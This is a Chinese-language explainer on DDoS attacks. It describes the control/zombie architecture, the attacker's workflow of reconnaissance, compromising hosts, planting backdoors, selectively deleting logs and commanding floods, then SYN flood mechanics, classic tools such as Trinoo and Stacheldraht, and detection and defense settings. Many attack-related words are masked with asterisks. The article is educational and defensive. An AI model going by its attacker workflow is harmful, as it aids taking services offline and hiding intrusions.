如图,一个比较完善的DDoS***体系分成四大部分,先来看一下最重要的第2和第3部分:它们分别用做控制和实际发起***。请注意控制机与***机的区别,对第4部分的受害者来说,DDoS的实际***包是从第3部分***傀儡机上发出的,第2部分的控制机只发布命令而不参与实际的***。对第2和第3部分计算机,***有控制权或者是部分的控制权,并把相应的DDoS程序上传到这些平台上,这些程序与正常的程序一样运行并等待来自***的指令,通常它还会利用各种手段隐藏自己不被别人发现。在平时,这些傀儡机器并没有什么异常,只是一旦***连接到它们进行控制,并发出指令的时候,***傀儡机就成为害人者去发起***了。
  有的朋友也许会问道:"为什么***不直接去控制***傀儡机,而要从控制傀儡机上转一下呢?"。这就是导致DDoS***难以追查的原因之一了。做为***者的角度来说,肯定不愿意被捉到,而***者使用的傀儡机越多,他实际上提供给受害者的分析依据就越多。在占领一台机器后,高水平的***者会首先做两件事:1. 考虑如何留好后门(我以后还要回来的哦)!2. 如何清理日志。这就是擦掉脚印,不让自己做的事被别人查觉到。比较不敬业的***会不管三七二十一把日志全都删掉,但这样的话网管员发现日志都没了就会知道有人干了坏事了,顶多无法再从日志发现是谁干的而已。相反,真正的好手会挑有关自己的日志项目删掉,让人看不到异常的情况。这样可以长时间地利用傀儡机。
  但是在第3部分***傀儡机上清理日志实在是一项庞大的工程,即使在有很好的日志清理工具的帮助下,***也是对这个任务很头痛的。这就导致了有些***机弄得不是很干净,通过它上面的线索找到了控制它的上一级计算机,这上级的计算机如果是***自己的机器,那么他就会被揪出来了。但如果这是控制用的傀儡机的话,***自身还是安全的。控制傀儡机的数目相对很少,一般一台就可以控制几十台***机,清理一台计算机的日志对***来讲就轻松多了,这样从控制机再找到***的可能性也大大降低。
如何组织一次DDoS***的?
这里用"组织"这个词,是因为DDoS并不象***一台主机那样简单。一般来说,***进行DDoS***时会经过这样的步骤:
  1. 搜集了解目标的情况
  下列情况是***非常关心的情报:
被***目标主机数目、地址情况
目标主机的配置、性能
目标的带宽
  对于DDoS***者来说,***互联网上的某个站点,如http://www.WWWW.com,有一个重点就是确定到底有多少台主机在支持这个站点,一个大的网站可能有很多台主机利用负载均衡技术提供同一个网站的www服务。以yahoo为例,一般会有下列地址都是提供http://www.WWW.com服务的:
  66.218.71.87
  66.218.71.88
  66.218.71.89
  66.218.71.80
  66.218.71.81
  66.218.71.83
  66.218.71.84
  66.218.71.86
  如果要进行DDoS***的话,应该***哪一个地址呢?使66.218.71.87这台机器瘫掉,但其他的主机还是能向外提供www服务,所以想让别人访问不到http://www.WWW.com的话,要所有这些IP地址的机器都瘫掉才行。在实际的应用中,一个IP地址往往还代表着数台机器:网站维护者使用了四层或七层交换机来做负载均衡,把对一个IP地址的访问以特定的算法分配到下属的每个主机上去。这时对于DDoS***者来说情况就更复杂了,他面对的任务可能是让几十台主机的服务都不正常。
  所以说事先搜集情报对DDoS***者来说是非常重要的,这关系到使用多少台傀儡机才能达到效果的问题。简单地考虑一下,在相同的条件下,***同一站点的2台主机需要2台傀儡机的话,***5台主机可能就需要5台以上的傀儡机。有人说做***的傀儡机越多越好,不管你有多少台主机我都用尽量多的傀儡机来攻就是了,反正傀儡机超过了时候效果更好。
但在实际过程中,有很多***并不进行情报的搜集而直接进行DDoS的***,这时候***的盲目性就很大了,效果如何也要*运气。其实做***也象网管员一样,是不能偷懒的。一件事做得好与坏,态度最重要,水平还在其次。
  2. 占领傀儡机
  ***最感兴趣的是有下列情况的主机:
链路状态好的主机
性能好的主机
安全管理水平差的主机
  这一部分实际上是使用了另一大类的***手段:利用形***。这是和DDoS并列的***方式。简单地说,就是占领和控制被***的主机。取得最高的管理权限,或者至少得到一个有权限完成DDoS***任务的帐号。对于一个DDoS***者来说,准备好一定数量的傀儡机是一个必要的条件,下面说一下他是如何***并占领它们的。
  首先,***做的工作一般是扫描,随机地或者是有针对性地利用扫描器去发现互联网上那些有漏洞的机器,象程序的溢出漏洞、cgi、Unicode、ftp、数据库漏洞…(简直举不胜举啊),都是***希望看到的扫描结果。随后就是尝试***了,具体的手段就不在这里多说了,感兴趣的话网上有很多关于这些内容的文章。
  总之***现在占领了一台傀儡机了!然后他做什么呢?除了上面说过留后门擦脚印这些基本工作之外,他会把DDoS***用的程序上载过去,一般是利用ftp。在***机上,会有一个DDoS的发包程序,***就是利用它来向受害目标发送恶意***包的。
  3. 实际***
  经过前2个阶段的精心准备之后,***就开始瞄准目标准备发射了。前面的准备做得好的话,实际***过程反而是比较简单的。就象图示里的那样,***登录到做为控制台的傀儡机,向所有的***机发出命令:"预备~ ,瞄准~,开火!"。这时候埋伏在***机中的DDoS***程序就会响应控制台的命令,一起向受害主机以高速度发送大量的数据包,导致它死机或是无法响应正常的请求。***一般会以远远超出受害方处理能力的速度进行***,他们不会"怜香惜玉"。
  老到的***者一边***,还会用各种手段来监视***的效果,在需要的时候进行一些调整。简单些就是开个窗口不断地ping目标主机,在能接到回应的时候就再加大一些流量或是再命令更多的傀儡机来加入***。
下面我们再详细说说SYN Flood***
SYN-Flood是目前最流行的DDoS***手段,早先的DoS的手段在向分布式这一阶段发展的时候也经历了浪里淘沙的过程。SYN-Flood的***效果最好,应该是众***不约而同选择它的原因吧。那么我们一起来看看SYN-Flood的详细情况。
Syn Flood原理 - 三次握手
  Syn Flood利用了TCP/IP协议的固有漏洞。面向连接的TCP三次握手是Syn Flood存在的基础。
TCP连接的三次握手
如图,在第一步中,客户端向服务端提出连接请求。这时TCP SYN标志置位。客户端告诉服务端序列号区域合法,需要检查。客户端在TCP报头的序列号区中插入自己的ISN。服务端收到该TCP分段后,在第二步以自己的ISN回应(SYN标志置位),同时确认收到客户端的第一个TCP分段(ACK标志置位)。在第三步中,客户端确认收到服务端的ISN(ACK标志置位)。到此为止建立完整的TCP连接,开始全双工模式的数据传输过程。
Syn Flood***者不会完成三次握手
假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会重试(再次发送SYN+ACK给客户端)并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的***者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理***者伪造的TCP连接请求而无暇理睬客户的正常请求(毕竟客户端的正常请求比率非常之小),此时从正常客户的角度看来,服务器失去响应,这种情况我们称做:服务器端受到了SYN Flood***(SYN洪水***)。
下面我们来分析一下这些经典的***程序。
1、Trinoo
Trinoo的***方法是向被***目标主机的随机端口发出全零的4字节UDP包,在处理这些超出其处理能力的垃圾数据包的过程中,被***主机的网络性能不断下降,直到不能提供正常服务,乃至崩溃。它对IP地址不做假,采用的通讯端口是:
  ***者主机到主控端主机:27665/TCP
  主控端主机到代理端主机:27444/UDP
  代理端主机到主服务器主机:31335/UDP
2、TFN
TFN由主控端程序和代理端程序两部分组成,它主要采取的***方法为:SYN风暴、Ping风暴、UDP×××和SMURF,具有伪造数据包的能力。
3、TFN2K
TFN2K是由TFN发展而来的,在TFN所具有的特性上,TFN2K又新增一些特性,它的主控端和代理端的网络通讯是经过加密的,中间还可能混杂了许多虚假数据包,而TFN对ICMP的通讯没有加密。***方法增加了Mix和Targa3。并且TFN2K可配置的代理端进程端口。
4、Stacheldraht
Stacheldraht也是从TFN派生出来的,因此它具有TFN的特性。此外它增加了主控端与代理端的加密通讯能力,它对命令源作假,可以防范一些路由器的RFC2267过滤。Stacheldrah中有一个内嵌的代理升级模块,可以自动下载并安装最新的代理程序。
DDoS的监测
检测DDoS***的主要方法有以下几种:
1、根据异常情况分析
  当网络的通讯量突然急剧增长,超过平常的极限值时,你可一定要提高警惕,检测此时的通讯;当网站的某一特定服务总是失败时,你也要多加注意;当发现有特大型的ICP和UDP数据包通过或数据包内容可疑时都要留神。总之,当你的机器出现异常情况时,你最好分析这些情况,防患于未然。
2、使用DDoS检测工具
  当***者想使其***阴谋得逞时,他首先要扫描系统漏洞,目前市面上的一些网络***检测系统,可以杜绝***者的扫描行为。另外,一些扫描器工具可以发现***者植入系统的代理程序,并可以把它从系统中删除。
DDoS的防范
到目前为止,进行DDoS***的防御还是比较困难的。首先,这种***的特点是它利用了TCP/IP协议的漏洞,除非你不用TCP/IP,才有可能完全抵御住DDoS***。一位资深的安全专家给了个形象的比喻:DDoS就好象有1,000个人同时给你家里打电话,这时候你的朋友还打得进来吗?
  不过即使它难于防范,也不是说我们就应该逆来顺受,实际上防止DDoS并不是绝对不可行的事情。互联网的使用者是各种各样的,与DDoS做斗争,不同的角色有不同的任务。我们以下面几种角色为例:
企业网管理员
ISP、ICP管理员
骨干网络运营商
  企业网管理员
  网管员做为一个企业内部网的管理者,往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供WWW服务,因而不可避免地成为DDoS的***目标,他该如何做呢?可以从主机与网络设备两个角度去考虑。
  主机上的设置
  几乎所有的主机平台都有抵御DoS的设置,总结一下,基本的有几种:
关闭不必要的服务
限制同时打开的Syn半连接数目
缩短Syn半连接的time out 时间
及时更新系统补丁
网络设备上的设置
  企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备,在进行防DDoS设置的同时,要注意一下这是以多大的效率牺牲为代价的,对你来说是否值得。
  1.防火墙
禁止对主机的非开放服务的访问
限制同时打开的SYN最大连接数
限制特定IP地址的访问
启用防火墙的防DDoS的属性
严格限制对外开放的服务器的向外访问
  第五项主要是防止自己的服务器被当做工具去害人。
  2.路由器
以Cisco路由器为例
Cisco Express Forwarding(CEF)
使用 unicast reverse-path
访问控制列表(ACL)过滤
设置SYN数据包流量速率
升级版本过低的ISO
为路由器建立log server
  其中使用CEF和Unicast设置时要特别注意,使用不当会造成路由器工作效率严重下降,升级IOS也应谨慎。路由器是网络的核心设备,与大家分享一下进行设置修改时的小经验,就是先不保存。Cisco路由器有两份配置startup config和running config,修改的时候改变的是running config,可以让这个配置先跑一段时间(三五天的就随意啦),觉得可行后再保存配置到startup config;而如果不满意想恢复原来的配置,用copy start run就行了。
  ISP / ICP管理员
  ISP / ICP为很多中小型企业提供了各种规模的主机托管业务,所以在防DDoS时,除了与企业网管理员一样的手段外,还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说,这些托管主机的安全性普遍是很差的,有的连基本的补丁都没有打就赤膊上阵了,成为***最喜欢的"肉鸡",因为不管这台机器***怎么用都不会有被发现的危险,它的安全管理太差了;还不必说托管的主机都是高性能、高带宽的-简直就是为DDoS定制的。而做为ISP的管理员,对托管主机是没有直接管理的权力的,只能通知让客户来处理。在实际情况时,有很多客户与自己的托管主机服务商配合得不是很好,造成ISP管理员明知自己负责的一台托管主机成为了傀儡机,却没有什么办法的局面。而托管业务又是买方市场,ISP还不敢得罪客户,怎么办?咱们管理员和客户搞好关系吧,没办法,谁让人家是上帝呢?呵呵,客户多配合一些,ISP的主机更安全一些,被别人告状的可能性也小一些。
  骨干网络运营商
这个我们就不说了
因为我们都不是骨干运营商